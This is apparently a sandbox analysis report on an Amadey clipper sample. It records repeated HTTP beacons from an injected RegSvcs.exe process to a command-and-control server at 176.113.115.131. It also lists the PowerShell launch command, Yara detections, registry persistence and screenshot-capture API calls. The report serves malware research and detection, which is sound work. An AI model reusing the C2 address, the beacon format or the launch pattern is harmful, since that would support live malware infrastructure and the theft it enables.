Jan 8, 2025 08:45:37.467457056 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	56152	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:38.986635923 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:39.706770897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	56153	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:41.348551035 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:42.036473036 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	56154	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:43.548326015 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:44.265183926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	56155	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:45.907608032 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:46.605041981 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	56156	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:48.125080109 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:48.840301991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	56157	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:50.469605923 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:51.176527977 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	56158	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:52.703536987 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:53.412576914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	56159	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:55.055404902 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:55.740772963 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	56160	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:57.256735086 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:57.976516962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	56161	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:59.609930038 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:46:00.308507919 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:46:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	56162	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:46:01.828758955 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:46:02.527359962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:46:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	02:41:55
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\nYT1CaXH9N.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 00000000.00000002.1864550591.00000296DBC33000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:41:55
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:41:57
Start date:	08/01/2025
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\ipconfig.exe" /flushdns
Imagebase:	0x7ff607f10000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:41:58
Start date:	08/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x7ff7699e0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	02:41:58
Start date:	08/01/2025
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "6544" "2596" "2480" "2600" "0" "0" "2604" "0" "0" "0" "0" "0"
Imagebase:	0x7ff783f90000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00007FFD9BB713CC Relevance: 1.6, Strings: 1, Instructions: 328COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9BB715AC

Memory Dump Source

Source File: 00000000.00000002.1879489636.00007FFD9BB70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bb70000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: a2ed96a1640fbbac2dbcb90549ac6651518add707067e8b5aa006c6f0cebb284
Instruction ID: 3bc946cc3c99a1784bcf00a2f4bf2fb7708990eb0e098768a0b339a18c54d528
Opcode Fuzzy Hash: a2ed96a1640fbbac2dbcb90549ac6651518add707067e8b5aa006c6f0cebb284
Instruction Fuzzy Hash: 5BA10622B0EA8D0FE7AADB6848B45B47BE1EF56318B1901FBD08DC75E3DD18A905C351

Function 00007FFD9BAA8AAE Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

0, xrefs: 00007FFD9BAA8ABA

Memory Dump Source

Source File: 00000000.00000002.1879052852.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-1558408351
Opcode ID: 34f819592b754329755a513f0172eab2dd6b9e8eb58747ef82e6f3568c6342f5
Instruction ID: 2197b7d18d909bb86020ce3a82cff27a682aaf18c63a34c274caf448969b8512
Opcode Fuzzy Hash: 34f819592b754329755a513f0172eab2dd6b9e8eb58747ef82e6f3568c6342f5
Instruction Fuzzy Hash: 5AD02231A1E2409FDB2C36B849230363316EB1AA1472170BEC08783072DC7880838E80

Function 00007FFD9BAAE275 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879052852.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d2fa97acc252f316f3c397aa25230ba1a970780888abfe9d21145fc14fdab2
Instruction ID: b959b75c91e37015023925bb0fdce6c6cfa9c53695980f338e58c9a091a6901e
Opcode Fuzzy Hash: c3d2fa97acc252f316f3c397aa25230ba1a970780888abfe9d21145fc14fdab2
Instruction Fuzzy Hash: C1819D31E0E28A4FD734DBA898651F97BE2EF54300F1501BFD489C72A3EE785A458791

Function 00007FFD9BAA584A Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879052852.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49456fd7cace28a2a66b11a29fe679dcbfcd9cf5de304d4884b4c81925748bab
Instruction ID: ed3f0d88deb0fb6997edc2f2ad705cd55268c6ec707298ce25b7412fc3f407b2
Opcode Fuzzy Hash: 49456fd7cace28a2a66b11a29fe679dcbfcd9cf5de304d4884b4c81925748bab
Instruction Fuzzy Hash: 2E115C62A1EBC55FD32DD7BC486A47DBBD2EF45200B0504BEE0CA8B1F3DD64A5028756

Function 00007FFD9BAA58B9 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879052852.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbb171113758a568c7c00e3c82cee4e7e8f9e16d5cd623da1ea80dc79b5d6b36
Instruction ID: 2f0218d27a5a01cc1df3e41c3e3f6d6c9c053f9d5e5d7ded78ce0da1ea8d046d
Opcode Fuzzy Hash: fbb171113758a568c7c00e3c82cee4e7e8f9e16d5cd623da1ea80dc79b5d6b36
Instruction Fuzzy Hash: B5112C61B1EA851FD31DE77C48665BD77D2EF84100B0508BEE0CACB1F3DD64A5028751

Function 00007FFD9BAA37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879052852.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: e02c57d93778fbc6a584bb8048c67e799a1b42380c49818b8706c6f29e2a7d3a
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 8F01A77020CB0C4FD748EF0CE051AA6B3E0FF85320F10056DE58AC36A1D632E882CB45

Function 00007FFD9BAA4CE7 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879052852.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb8b6bd48359692fa01c415565ea2583b41d4d6d37bf18ac4688cc88a90fc6ed
Instruction ID: 04ce52abb1ffe6ad4324462e338a18db494bde0e72ecafe841d7c0ead3b91585
Opcode Fuzzy Hash: bb8b6bd48359692fa01c415565ea2583b41d4d6d37bf18ac4688cc88a90fc6ed
Instruction Fuzzy Hash: AAF0DA74E0920B8FDB50DFA4C5815AEB7F1EF04310F204929D115EB265DB79A7408B94

Function 00007FFD9BAA4CD1 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879052852.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c2665f9dc6837db9ccf4dddd278245b0af311693f6dd907fbbb64c8da830607
Instruction ID: 11c261f94a438a7cbfb1773509b98890acd8ddb0f2dc86d3d6e6d21199613e4c
Opcode Fuzzy Hash: 3c2665f9dc6837db9ccf4dddd278245b0af311693f6dd907fbbb64c8da830607
Instruction Fuzzy Hash: 94F01775E1920F8BDB10DFA4C4915AEB7F1EF04310F208929D015EB264DA78A6408B90

Non-executed Functions

Function 00007FFD9BAACF3C Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1879052852.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27ead1c676cf8d7b243a3c3f72aadd30adbb71dfa29f04a07a1866cc8afbaeb9
Instruction ID: 205085948d7ac82e31594b76574a25a166dc8053e89d4959c50e3fabddcabba1
Opcode Fuzzy Hash: 27ead1c676cf8d7b243a3c3f72aadd30adbb71dfa29f04a07a1866cc8afbaeb9
Instruction Fuzzy Hash: A6115BB2B0D6080FA31C9D6C6C56436B79AD3C6220711933FE5CBC23A3E960AC0386C5

Analysis Process: RegSvcs.exePID: 1436, Parent PID: 6544COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.1%
Total number of Nodes:	1294
Total number of Limit Nodes:	13

Executed Functions

Function 004061F0 Relevance: 99.7, APIs: 40, Strings: 16, Instructions: 1737registrywindowfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 0040639C
RegQueryValueExA.KERNELBASE(A99F1BC9,?,00000000,00000000,?,00000400,?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 004063CA
RegCloseKey.KERNELBASE(A99F1BC9,?,?,00000000,00000001,A99F1BC9,A99F1BC9), ref: 004063D6
RegOpenKeyExA.ADVAPI32(80000001,80000001,00000000,000F003F,00000001), ref: 004064E3
RegSetValueExA.ADVAPI32(80000001,?,00000000,00000002,?,?), ref: 00406511
RegCloseKey.ADVAPI32(80000001), ref: 0040651A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,80000002), ref: 0040663C
RegSetValueExA.ADVAPI32(80000002,?,00000000,00000004,?,00000004), ref: 0040665F

Part of subcall function 004061F0: RegOpenKeyExA.KERNELBASE(?,00000000), ref: 004067BD
Part of subcall function 004061F0: RegQueryInfoKeyW.ADVAPI32 ref: 00406894
Part of subcall function 004061F0: RegEnumValueA.KERNELBASE(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 004068E0

RegCloseKey.ADVAPI32(80000002), ref: 00406668
RegCloseKey.ADVAPI32(?), ref: 00406D5E
GdiplusStartup.GDIPLUS(?,?,00000000,A99F1BC9,00000000), ref: 00406DEA
GetDC.USER32 ref: 00406F62
RegGetValueA.ADVAPI32(80000002,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004071CD
GetSystemMetrics.USER32(00000000), ref: 00407226
GetSystemMetrics.USER32(00000000), ref: 0040722F
RegGetValueA.ADVAPI32(80000002,?,00000000), ref: 00407277
GetSystemMetrics.USER32(00000001), ref: 004072CA
GetSystemMetrics.USER32(00000001), ref: 004072D3
CreateCompatibleDC.GDI32(?), ref: 004072DF
CreateCompatibleBitmap.GDI32 ref: 004072F4
SelectObject.GDI32(00000000,00000000), ref: 00407304
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0040732A
GdipCreateBitmapFromHBITMAP.GDIPLUS(00000000,00000000,?), ref: 0040733E
GdipGetImageEncodersSize.GDIPLUS(00000000,?), ref: 0040735A
GdipGetImageEncoders.GDIPLUS(00000000,00000000,00000000), ref: 00407387
GdipSaveImageToFile.GDIPLUS(00000000,00000000,?,00000000), ref: 0040740E
SelectObject.GDI32(00000000,?), ref: 0040741B
DeleteObject.GDI32 ref: 00407428
DeleteObject.GDI32 ref: 00407430
ReleaseDC.USER32(00000000,?), ref: 0040743A
GdipDisposeImage.GDIPLUS(00000000), ref: 00407441
GdiplusShutdown.GDIPLUS(?), ref: 004074E3
GetUserNameA.ADVAPI32 ref: 004075BA
LookupAccountNameA.ADVAPI32 ref: 00407600
GetSidIdentifierAuthority.ADVAPI32(?), ref: 0040760D
GetSidSubAuthorityCount.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407721
GetSidSubAuthority.ADVAPI32(?,00000000), ref: 00407748

Strings

VhamSOYAKv==, xrefs: 00406FA9
image/jpeg, xrefs: 004073A2
ntdll.dll, xrefs: 0040815D
UtPn5zJk, xrefs: 0040761C
invalid stoi argument, xrefs: 00408057
NtUnmapViewOfSection, xrefs: 00408158
MypyFvpRFOk=, xrefs: 0040698C
LNKu7I==, xrefs: 00407751
MypyFvpRFeI=, xrefs: 004069EE
XypyFvp=, xrefs: 00406F81
(, xrefs: 00408206
MypyFvpRFXY=, xrefs: 00406AB4
JNQu7I==, xrefs: 004076A8
stoi argument out of range, xrefs: 00408048
